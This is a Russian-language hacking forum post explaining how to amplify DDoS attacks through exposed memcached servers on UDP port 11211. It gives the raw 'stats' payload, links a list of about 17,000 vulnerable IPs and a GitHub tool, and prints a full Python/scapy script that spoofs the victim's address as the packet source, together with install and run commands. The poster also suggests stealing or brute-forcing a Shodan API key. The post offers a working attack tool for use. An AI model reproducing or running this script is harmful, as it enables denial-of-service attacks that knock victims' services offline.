Усиливаем ddos атаки с помощью уязвимости в Memcached

Admin

ufo
Administrator
12.08.2016
644
410
#1
Суть в том, что все вы не взломаете, насколько крутыми вы бы не были, всегда найдется тот, кто круче вас. Для Хакера, DDOS - это последнее, чем он воспользуется. Мне не раз приходилось отбивать атаки и с каждым разом они становились все мощнее. Хакеры уже перестали взламывать, когда они могут устроить ddos атаку. Теперь даже не нужно создавать ботнет, в интернете много уязвимых серверов, которые усиливают атаки. И вот обнаружили новую уязвимость, которая позволяет усиливать атаки. Для того, чтобы совершить атаку достаточно знать ip адреса уязвимых серверов c открытым портом 11211. Таких адресов около 17 тыс. На порт уязвимого сервера отправляется пакет:
\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n
После обработки пакета сервер отвечает большим пакетом до 1mb. Это позволило совершить атаку в 1,3 ТБ/с. Github не справился с атакой, иностранный провайдер тоже, а ведь чтобы запустить такую атаку нужно всего-то пару минут.

Практика
Для начало нам нужно найти сервера, для этого мы воспользуемся Shodan .
1.png
Или воспользуемся уже готовым списком, который собрали до нас - https://pastebin.com/raw/eSCHTTVu . Скрипт для атаки написан на python 2.7.
sudo apt-get install python
Далее установим библиотеки:
Код:
python -m pip install datetime
python -m pip install scapy
Итак, запускаем программу:
Код:
python namescript.py -T xx.xx.xx.xx -S file.txt -P 100 -Thread 100
T - Цель
S - Файл с уязвимыми серверами
P - Кол-во отправленных пакетов
Thread - Потоки
2.png
Ссылка на программу - https://github.com/DefWolf/Memecrashed[DOUBLEPOST]Automatically Merged Double Post[/DOUBLEPOST]Да для виндовc нужно поставить WinPcap:
https://www.winpcap.org/install/default.htm

Автор сделал скрипт с парсингом серверов через Shodan, по этому вам нужен будет ключик для него, который вы можете купить, сбрутить, спиздить.

Уже чувствую ваше возмущение "Ну ты шо так газуешь дядь? какие ключи, какой шодан?"
Специально для вас урезанная версия скрипта, без шодана, ip берутся из bots.txt':

Python:
#!/usr/bin/python
import sys, os, time
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager

starttime=time.time()

@contextmanager
def suppress_stdout():
    with open(os.devnull, "w") as devnull:
        old_stdout = sys.stdout
        sys.stdout = devnull
        try:
            yield
        finally:
            sys.stdout = old_stdout

class color:
    HEADER = '\033[0m'

logo = color.HEADER + '''

   ███╗   ███╗███████╗███╗   ███╗ ██████╗██████╗  █████╗ ███████╗██╗  ██╗███████╗██████╗
   ████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║  ██║██╔════╝██╔══██╗
   ██╔████╔██║█████╗  ██╔████╔██║██║     ██████╔╝███████║███████╗███████║█████╗  ██║  ██║
   ██║╚██╔╝██║██╔══╝  ██║╚██╔╝██║██║     ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝  ██║  ██║
   ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║  ██║██║  ██║███████║██║  ██║███████╗██████╔╝
   ╚═╝     ╚═╝╚══════╝╚═╝     ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝╚═════╝

                                        Author: @037
                                        Version: 3.1

####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable  |
| memcached servers. It then allows you to use the same servers to launch widespread      |
| distributed denial of service attacks by forging UDP packets sourced to your victim.    |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly.   |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
                                                                                    
'''
print(logo)

target = input("[▸] Enter target IP address: ")
power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
data = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"

while True:
    try:
        ip_arrayn = []
        with open('bots.txt') as my_file:
            for line in my_file:
                ip_arrayn.append(line)
        ip_array = [s.rstrip() for s in ip_arrayn]
        counter= int(0)
        for i in ip_array:
            if power>1:
                print('[+] Sending %d forged UDP packets to: %s' % (power, i))
                with suppress_stdout():
                    send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
            elif power==1:
                print('[+] Sending 1 forged UDP packet to: %s' % i)
                with suppress_stdout():
                    send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
    except:
        print('')
        print('[•] Exiting Platform. Have a wonderful day.')
        break
Запускать так:
cd %путь_до_ файлов_Memcrashed.py_и_bots.txt%
python.exe Memcrashed.py
Вас спросят IP который вы хотите дудосить и кол-во серверов с которых будет идти дудос.
17к IP которые можешь засунуть в bot.txt:
https://pastebin.com/raw/eSCHTTVu
Также можешь насканить себе еще серверов по порту 11211.​
 
Последнее редактирование: